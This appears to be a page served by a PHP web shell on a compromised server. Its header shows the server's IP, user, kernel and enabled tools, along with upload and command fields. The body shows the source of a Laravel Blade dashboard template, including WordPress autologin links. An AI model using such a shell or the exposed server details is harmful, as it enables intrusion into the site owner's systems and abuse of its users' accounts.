403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/shark/resources/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/shark/resources/views//dashboard.blade.php
@extends('layouts.app')
@section('content')
<div class="" id="result">
    <div class="page-content dashboard">
        <div class="container">
            <div class="row">
                @if($websites_count>0)
                <div class="col-12">
                    <div class="page-title-box d-flex align-items-center justify-content-between">
                       <div> <h4 class="mb-0 font-size-18 page-inner-title">Websites</h4></div>
                       @if($websites_count<$websites_limit)
                       <div>
                            <a href="/"  class="btn btn-outline-primary button-text cyan">Add Website</a>
                        </div>
                         @else
                         <div  data-bs-toggle="tooltip" title="You have reached your maximum number of websites">
                            <span  class="btn btn-outline-primary button-text cyan disabled" disabled>Add Website</span>
                            
                        </div>
                         @endif
                    </div>
                </div>
                @endif
            </div>


            {{-- @include("partials.messages.messages") --}}
            <div class="row row-cols-1 g-4  @if(sizeof($websites)==0)
            
            @endif">
                @forelse ($websites as $website)

                <div class="col-xxl-4 col-md-4">
                    @if($website->status=="completed")
                    <div class="card shadow-sm h-100">
                         @if ($website->deleted_at)
                            <div class="deleted-website-card" data-bs-toggle="tooltip" data-bs-placement="top" title="Your account is unverified, please verify your account"> 
                         @endif
                            <div class="card-body text-left card-inner {{ $website->deleted_at ? 'pe-none' : '' }}">
                                @if($website->trial_mode==1)
                                <div class="ribbon-2" style="display:none;"><span>Trial Mode</span></div>
                                @endif

                                <div class="dropdown-inner-x">
                                    @php
                                        $server_meta = @json_decode($website->server_meta, true);

                                        $show_drop_down = false;

                                        $download_zip_request = null;
                                        
                                        $menu_options = [
                                            "ftp"=>true,
                                            "domain"=>true,
                                            "remove_domain"=>false,
                                            "zip"=>true,
                                            "download_zip"=>false
                                        ];

                                        if(!$website->plan){
                                            $show_drop_down = true;
                                        }
                                        
                                        
                                        if($website->plan){
                                            if($website->plan->type!=="one-time"){
                                                $menu_options["ftp"] = true;

                                                if($website->domain==null){
                                                    $menu_options["domain"] = true;
                                                    $menu_options["remove_domain"] = false;
                                                } else {
                                                    $menu_options["domain"] = false;
                                                    $menu_options["remove_domain"] = true;
                                                }
                                                $menu_options["zip"] = false;

                                                $menu_options["download_zip"] = false;

                                                if(!$website->domain){
                                                $show_drop_down = true;
                                                }
                                                else if($website->is_cancellation_requested==1){
                                                    $show_drop_down = false;
                                                }
                                                    
                                            } else {
                                                $menu_options["ftp"] = true;

                                                $menu_options["domain"] = false;
                                                $menu_options["remove_domain"] = false;

                                                $menu_options["zip"] = true;

                                                $download_zip_request = $website->latestCompleteWebsiteArchiveRequest($website->id);

                                                if($download_zip_request){
                                                    $menu_options["download_zip"] = true;
                                                }
                                                $show_drop_down = false;
                                            }
                                        } 
                                    
                                    @endphp
                                    
                                </div> 
                                
                                <div class="delete-inner">
                                    @php
                                    $signature = @hash_hmac('sha256', "site_id_".$website->id."|email_id_".auth()->user()->email, env('WP_SSO_KEY'));

                                    @endphp
                                    @if(true || $website->plan || @$setting->is_wp_admin_access == 1)
                                    <a target="_blank" href="{{$website->domain && $website->domain_status=='completed' ? 'http://'.$website->domain.'/index.php/wp-json/wp/v1/autologin?payload='.$signature.'&email='.urlencode(auth()->user()->email) : 'http://'.@$server_meta['domain'].'.bloxby.io/index.php/wp-json/wp/v1/autologin?payload='.$signature.'&email='.urlencode(auth()->user()->email)}}">
                                        <div class="web-icon">
                                            <img src="{{ asset('assets/images/wp-black.svg') }}" alt="icon"/> 
                                        </div>
                                    </a>
                                    @endif
                                    <a href="{{$website->domain && $website->domain_status=='completed'  ? 'http://'.$website->domain : 'http://'.@$server_meta['domain'].'.bloxby.io'}}" target="_blank">
                                        <div class="web-icon">
                                            <img src="{{ asset('assets/images/web-view.svg') }}" alt="icon"/>
                                        </div>
                                    </a>
                                    @if($show_drop_down)
                                    <div class="dropdown">
                                        
                                        <button class="btn dropdown-toggle" type="button" data-bs-toggle="dropdown" aria-expanded="false">
                                            <div class="dot-icon">
                                                <img src="{{ asset('assets/images/menu.svg') }}" alt="icon"/>
                                            </div>
                                        </button>
                                        <ul class="dropdown-menu">
                                            @if(!$website->plan)
                                            @if(auth()->user()->email_verified_at!=null)
                                            <li><a class="dropdown-item" href="{{route('website.pricing_plans.list',['id'=>$website->id,'action'=>'domain'])}}">Connect Domain</a></li>
                                            <li><div class="dropdown-divider"></div></li>
                                            @endif
                                            <li>
                                                <form class="delete-icon dropdown-item" action="{{ route('website.remove',['id'=>$website->id]) }}" method="POST">
                                                    @csrf
                                                    @method('DELETE')
                                                    <button type="submit" class="btn dropdown-item remove_website show_confirm_message p-0" data-confirm-msg="Are you sure you want to delete this website?&lt;div class='mt-3'&gt;Note: Please note that once deleted, this cannot be restored.&lt;/div&gt;" data-bs-toggle="tooltip" data-bs-placement="top" note="" title="" data-bs-original-title="">
                                                        Delete Website
                                                    </button>
                                                </form> 
                                            </li>
                                            @endif
                                            @if($website->plan && $website->plan->type=="one-time")
                                            
                                            <li><a class="dropdown-item" href="{{route('website.pricing_plans.list',['id'=>$website->id,'action'=>'domain'])}}">Request Download</a></li>
                                            
                                            @endif
                                            @if($website->plan && $website->plan->type!=="one-time")
                                                @if(!$website->domain)
                                            <li><a class="dropdown-item" href="{{route('website.details',['id'=>$website->id,'#tab-domain'])}}">Connect domain</a></li>
                                                @endif
                                                @if($website->is_cancellation_requested==0)
                                            <li><div class="dropdown-divider"></div></li>
                                            <li>    
                                                
                                                <form class="cencel-icon" action="{{ route('website.cancel_plan',['id'=>$website->id]) }}" method="GET" >
                                                    <button class="m-0 btn dropdown-item show_cancel_confirm_message " data-confirm-msg="{{ 'Are you sure that you want to cancel the current plan for the website?' }}" title="Cancel plan">
                                                        
                                                        Cancel plan
                                                    </button>
                                                </form>
                                            </li>
                                                @endif
                                                
                                            
                                            @endif
                                            
                                        </ul>
                                    </div>
                                    @endif
                                    <!-- <form class="delete-icon" action="{{ route('website.remove',['id'=>$website->id]) }}" method="POST">
                                        @csrf
                                        @method('DELETE')
                                        <button type="submit" class="btn delete-btn-d remove_website show_confirm_message" data-confirm-msg="Are you sure you want to delete this website?&lt;div class='mt-3'&gt;Note: Please note that once deleted, this cannot be restored.&lt;/div&gt;" data-bs-toggle="tooltip" data-bs-placement="top" note="" title="" data-bs-original-title="Delete Website">
                                            <i class="mdi mdi-close"></i>
                                        </button>
                                    </form> -->

                                </div>
                                
                                <!-- <div class="mb-3">
                                        <i class="bi bi-globe2 display-4 text-primary"></i>
                                    </div> -->
                                <?php /*{{asset('websites/thumbs/'.$website->thumbnail)}} */ ?>
                                <div class="card-img-inner">
                                    @if(true || $website->thumbnail)
                                    <img class="check-image" src="https://s.wordpress.com/mshots/v1/{{$website->domain && $website->domain_status=='completed' ? urlencode('http://'.$website->domain.'/?nocache=1') : urlencode('http://'.@$server_meta['domain'].'.bloxby.localhost/?nocache=1')}}/?w=1600&h=900" />
                                    @else
                                    <iframe src="http://{{ @$server_meta['domain'] }}.bloxby.localhost" frameborder="0"></iframe>
                                    @endif

                                </div>
                                <div class="card-info web-flex">
                                    <div class="content">
                                        <h5 class="card-title"><a href="{{route('website.details',['id'=>$website->id])}}">{{ $website->title }}</a></h5>
                                        <a class="site-link" target="_blank" href="{{$website->domain && $website->domain_status=='completed'  ? 'http://'.$website->domain : 'http://'.@$server_meta['domain'].'.bloxby.localhost'}}">{{$website->domain && $website->domain_status=='completed'  ? $website->domain : @$server_meta['domain'].'.bloxby.localhost'}}</a>
                                        
                                    </div>
                                    <div  class="link">
                                    <a href="{{route('website.details',['id'=>$website->id])}}"  class="btn btn-outline-primary button-text cyan">
                                        Manage
                                    </a>
                                    </div>
                                    <!-- <p class="card-text text-muted"><strong>Generated on:</strong> {{ $website->created_at ? $website->created_at->setTimezone(env('TIMEZONE_USER'))->format('d F Y, h:i A'):"NA" }}</p>
                                    <p class="card-text text-muted "><strong>Size:</strong> <span class="<?php if ($website->usage > 400) {
                                                                                                                echo 'text-danger';
                                                                                                            } ?>">{{ $website->usage ? round($website->usage,2)." mb":"Calculating.." }}</span></p>
                                    <?php if ($website->usage > 400) {  ?><span class="<?php if ($website->usage > 400) {
                                                                                            echo 'text-danger';
                                                                                        } ?>">Your website usage has been exceeded 400mb</span><?php } ?> -->
                                </div>
                                <!-- <div class="card-btn-feature">
                                    <a href="{{$website->domain && $website->domain_status=='completed'  ? 'https://'.$website->domain : 'https://'.@$server_meta['domain'].'.bloxby.io'}}" target="_blank" class="btn btn-outline-primary button-text">
                                        Visit Website
                                    </a>

                                    @php
                                    $signature = @hash_hmac('sha256', "site_id_".$website->id, env('WP_SSO_KEY'));

                                    @endphp
                                    @if($website->plan)
                                    <a href="{{$website->domain && $website->domain_status=='completed' ? 'https://'.$website->domain.'/index.php/wp-json/wp/v1/autologin?payload='.$signature : 'https://'.@$server_meta['domain'].'.bloxby.io/index.php/wp-json/wp/v1/autologin?payload='.$signature}}" target="_blank" class="btn btn-outline-primary button-text">
                                        Login
                                    </a>
                                    @endif
                                    @if($website->plan && $website->plan->type!=="one-time")
                                    @if($website->is_cancellation_requested==0)
                                    <form class="cencel-icon" action="{{ route('website.cancel_plan',['id'=>$website->id]) }}" method="GET" >
                                        <button class="m-2 btn btn-secondary show_cancel_confirm_message " data-confirm-msg="{{ 'Are you sure that you want to cancel the current plan for the website?' }}" title="Cancel plan">
                                            <i class="mdi mdi-cancel"></i>
                                            Cancel plan
                                        </button>
                                    </form>
                                    @else
                                    Subscription end at: {{ \Carbon\Carbon::parse($website->subscription_end)->format('d M Y, h:i A') }}
                                    @endif
                                    @endif
                                    @if(auth()->user()->email_verified_at!=null)
                                    @if(!$website->plan )
                                    <a href="javascript:;" data-website-id="{{$website->id}}" onClick="loadPricingPlans({{$website->id}})" class="m-2 btn btn-primary button-text" title="View plans">

                                        View Plans
                                    </a>
                                    @endif
                                    @endif
                                </div> -->
                            </div>
                        @if ($website->deleted_at)
                            </div> 
                         @endif
                    </div>
                    @elseif($website->status=="pending" || $website->status=="inprogress" || $website->status=="error")
                    <div class='card shadow-sm h-100 {{ $website->status=="pending" || $website->status=="inprogress" ? "inprogresscard" : "" }} {{ $website->status=="error" ? "websiteerror" : "" }}'>
                         @if ($website->deleted_at)
                            <div class="deleted-website-card" data-bs-toggle="tooltip" data-bs-placement="top" title="Your account is unverified, please verify your account"> 
                         @endif
                        <div class="card-body text-left card-inner {{ $website->deleted_at ? 'pe-none' : '' }}">
                            
                            @if($website->trial_mode==1)
                            <div class="ribbon-1" style="display:none;"><span>Trial Mode</span></div>
                            @endif
                            <div class="delete-inner">
                                @php
                                $signature = @hash_hmac('sha256', "site_id_".$website->id."|email_id_".auth()->user()->email, env('WP_SSO_KEY'));


                                @endphp
                                @if(false && ($website->plan || @$setting->is_wp_admin_access == 1))
                                <a target="_blank" href="{{$website->domain && $website->domain_status=='completed' ? 'https://'.$website->domain.'/index.php/wp-json/wp/v1/autologin?payload='.$signature.'&email='.urlencode(auth()->user()->email) : 'https://'.@$server_meta['domain'].'.bloxby.io/index.php/wp-json/wp/v1/autologin?payload='.$signature.'&email='.urlencode(auth()->user()->email)}}">
                                    <div class="web-icon">
                                        <img src="{{ asset('assets/images/wp-black.svg') }}" width="18px"  alt="icon"/> 
                                    </div>
                                </a>
                                @endif
                               
                                @if($website->status === 'error')
                                <div class="dropdown">
                                    <button class="btn dropdown-toggle" type="button" data-bs-toggle="dropdown" aria-expanded="false">
                                        <div class="dot-icon">
                                            <img src="{{ asset('assets/images/menu.svg') }}" alt="icon"/>
                                        </div>
                                    </button>
                                    <ul class="dropdown-menu">
                                        
                                        <li>
                                            <form class="delete-icon dropdown-item" action="{{ route('website.remove',['id'=>$website->id]) }}" method="POST">
                                                @csrf
                                                @method('DELETE')
                                                <button type="submit" class="btn dropdown-item remove_website show_confirm_message p-0" data-confirm-msg="Are you sure you want to delete this website?&lt;div class='mt-3'&gt;Note: Please note that once deleted, this cannot be restored.&lt;/div&gt;" data-bs-toggle="tooltip" data-bs-placement="top" note="" title="" data-bs-original-title="">
                                                    Delete Website
                                                </button>
                                            </form> 
                                        </li>
                                        
                                        
                                    </ul>
                                </div>
                                @endif

                            </div>
                            <div class="card-img-inner text-center p-4" style="background: #f8f9fa;  display: flex; align-items: center; justify-content: center;">
                                @if($website->status === 'inprogress' || $website->status === 'pending')
                                <div style="width:100%">
                                    <div class="text-primary" role="status" style="width: 100%; height: 100%;">
                                        <img src="{{asset('assets/images/genrate.jpg')}}" />
                                    </div>

                                </div>

                                @endif
                                 @if($website->status === 'error')
                                <div style="width:100%">
                                    <div class="text-primary" role="status" style="width: 100%; height: 100%;">
                                        Error
                                    </div>

                                </div>

                                @endif
                            </div>

                            <div class="card-info web-flex">
                                <h5 class="card-title mt-3">
                                   {{ $website->title }}
                                    @if($website->status === 'inprogress' || $website->status === 'pending')
                                    <span class="badge bg-warning text-dark">In Progress</span>

                                    @endif
                                </h5>
                                @if($website->status === 'inprogress' || $website->status === 'pending')
                                <div style="width:100%">

                                    <p class=" mb-0 text-muted">This may take some time. Kindly <a href="{{route('dashboard')}}">refresh</a> the page to see the latest status.</p>
                                </div>
                                @elseif($website->status === 'error')
                                <div>
                                    <p class=" mb-0 text-muted">Some error has been occured, Please contact support.</p>
                                </div>

                                @endif
                            </div>
                        </div>
                        @if ($website->deleted_at)
                            </div> 
                         @endif
                    </div>

                    @endif
                </div>
                @empty
                <!-- <div class="col" style="width: max-content !important;">
                    <div class="alert alert-info alert-sec">You don't have any websites yet.</div>
                </div> -->
                <div class="empty-web-area">
                    <div class="empty-caption text-center">
                        <h4><img class="icon" src="/assets/images/hi.svg" alt="icon"/>Hey {{auth()->user()->name}}!</h4>
                        <h4 class="text-black text-capitalize">What would you like to generate today?</h4>
                        <p>Create your dream website without any code in just few minutes.</p>
                    </div>
                    <div class="web-ai">
                        <div class="text-center"><img class="icon" src="/assets/images/web.svg" alt="icon"/></div>    
                        <div class="content bg-light">
                            <h4 class="text-black text-uppercase">generate <span>AI</span></h4>  
                            <h2 class="text-black">Generate your website with Bloxby</h2>  
                            <p>Get a WordPress website tailored to your needs instantly</p>   
                            <a href="/" class="btn btn-outline-primary button-text cyan">Let's Go!</a>                                                 
                        </div>                                                      
                    </div>
                </div>
                @endforelse
                <!-- Floating Add Button -->
                

            </div>
        </div>

    </div>
    @include('partials.modals.confirm_modal',['title'=>"Delete website"])
    @include('partials.modals.sftp_modal',['title'=>"SFTP credentials"])
    @include('partials.modals.attach_domain_modal',['title'=>"Attach domain"])
</div>
<div class="modal fade" id="pricingPlansModal" tabindex="-1" aria-labelledby="pricingPlansModalLabel" aria-hidden="true">
    <div class="modal-dialog modal-lg modal-dialog-centered modal-dialog-scrollable">
        <div class="modal-content">
            <div class="modal-body">
                <div class="text-end">
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div id="pricingPlansContainer">
                    <p class="loading-text">Loading...</p>
                </div>
            </div>
        </div>
    </div>
</div>

@endsection
@push('scripts')
<script>
    var clicked_confirm_action = null;

    $(".show_confirm_message").click(function(e) {
        e.preventDefault();

        clicked_confirm_action = $(this);

        $("#confirmModal").find(".modal-body").html($(this).attr("data-confirm-msg"));

        $("#confirmModal").modal("show");



    })
    $("#confirmYesBtn").click(function() {
        clicked_confirm_action.closest("form").submit();
    })
    $(".show_cancel_confirm_message").click(function(e) {
        e.preventDefault();

        clicked_confirm_action = $(this);

        $("#confirmModal").find(".modal-body").html($(this).attr("data-confirm-msg"));

        $("#confirmModal").modal("show");

        $("#confirmModalLabel").html("Cancel plan");


    })
    $(".attach-domain").click(function(e) {
        e.preventDefault();

        if($(this).attr("data-action")=="attach-domain"){
            $("#domainForm").attr("action", $(this).attr("href"));
            $("#attachDomainModal").modal("show");
        } else {
            loadPricingPlans($(this).attr("data-website"))
        }
    });
</script>
<script>
    function loadPricingPlans(websiteId) {
        $('#pricingPlansModal').modal('show');
        $('#pricingPlansContainer').html('<div class="loader"><img src="/loader.svg"></div>');

        $.ajax({
            url: `/pricing-plans/website/${websiteId}/list`,
            method: 'GET',
            success: function(response) {
                $('#pricingPlansContainer').html(response);
            },
            error: function() {
                $('#pricingPlansContainer').html('<p class="text-danger">Failed to load plans.</p>');
            }
        });
    }
    $(".vew_sftp_credentials").on("click", function() {

        $("#sftpModal").modal("show");

        $.ajax({
            url: "/websites/sftp", // your backend PHP route
            type: "GET",
            data: {
                website_id: $(this).attr("data_website_id")
            },
            dataType: "HTML",
            success: function(response) {
                $("#sftpModal").find(".modal-body").html(response);
            },
            error: function() {
                alert("Error fetching SFTP credentials.");
            }
        });
    });
    /*$(".remove_website").click(function(e){
        e.preventDefault();
        if(confirm("Are you sure?")){
           $(this).closest('form').submit();
        }   
    })*/
</script>
<script src="{{ asset('assets/validate/jquery.validate.min.js')}}"></script>
<script type="text/javascript">
    $(function() {

        $.validator.addMethod("domain", function(value, element) {
            return this.optional(element) || /^(?!:\/\/)([a-zA-Z0-9-_]+\.)+[a-zA-Z]{2,}$/.test(value);
        }, "Please enter a valid domain name (e.g., example.com)");

        $("#domainForm").validate({
            submitHandler: function(form) {
                // Disable button to prevent duplicate submissions
                $("#submitDomainBtn").prop("disabled", true);

                form.submit(); // submit the form after disabling
            },
            rules: {
                domain: {
                    required: true,
                    domain: true
                }

            },
            messages: {
                domain: {
                    required: "Domain name is required",
                    domain: "Domain must be valid (e.g., example.com, my-site.org)."
                }
            },
            errorPlacement: function(error, element) {
                error.insertAfter(element); // Default placement
            }
        })
    });
    $(document).on("change", "#recurringPlanToggle", function() {
        if ($(this).prop('checked')) {
            var plan_id = $(this).attr("data_plan_id");

            $("#price-row-" + plan_id).html($(this).attr("data_attr_yearly_price"));

            $("#plan_row_" + plan_id).html($(this).attr("data_yearly_plan_id"));
        } else {
            var plan_id = $(this).attr("data_plan_id");


            $("#price-row-" + plan_id).html($(this).attr("data_attr_monthly_price"));

            $("#plan_row_" + plan_id).html($(this).attr("data_monthly_plan_id"));
        }
    })
    $(document).on("click", ".plan-switch", function() {
        var plan = $(this).attr("data_plan");

        if(plan=="yearly"){
            $(".yearlyplan").hide();
            $(".monthlyplan").show();
        } else {
            $(".yearlyplan").show();
            $(".monthlyplan").hide();
        }
    })

</script>
<script>
function checkAndReload(img) {
    const originalUrl = img.src;

    fetch(`/check-mshots?url=${encodeURIComponent(originalUrl)}`)
        .then(res => res.json())
        .then(data => {
            if (data.valid) {
                console.log(`✅ ${originalUrl} is valid. Reloading...`);
                //const separator = originalUrl.includes("?") ? "&" : "?";
                img.src = originalUrl + "&t=1" ; // cache-busting

                //img.src = originalUrl
            } else {
                console.log(`❌ ${originalUrl} not ready. HTTP: ${data.http_code}, redirect: ${data.redirect}`);
                // Optional: retry after interval
                setTimeout(() => checkAndReload(img), 5000);
            }
        })
        .catch(err => {
            console.error('Error checking mShots:', err);
            setTimeout(() => checkAndReload(img), 5000);
        });
}

// Apply to all images
document.querySelectorAll('.check-image').forEach(img => checkAndReload(img));
</script>

@endpush

Youez - 2016 - github.com/yon3zu
LinuXploit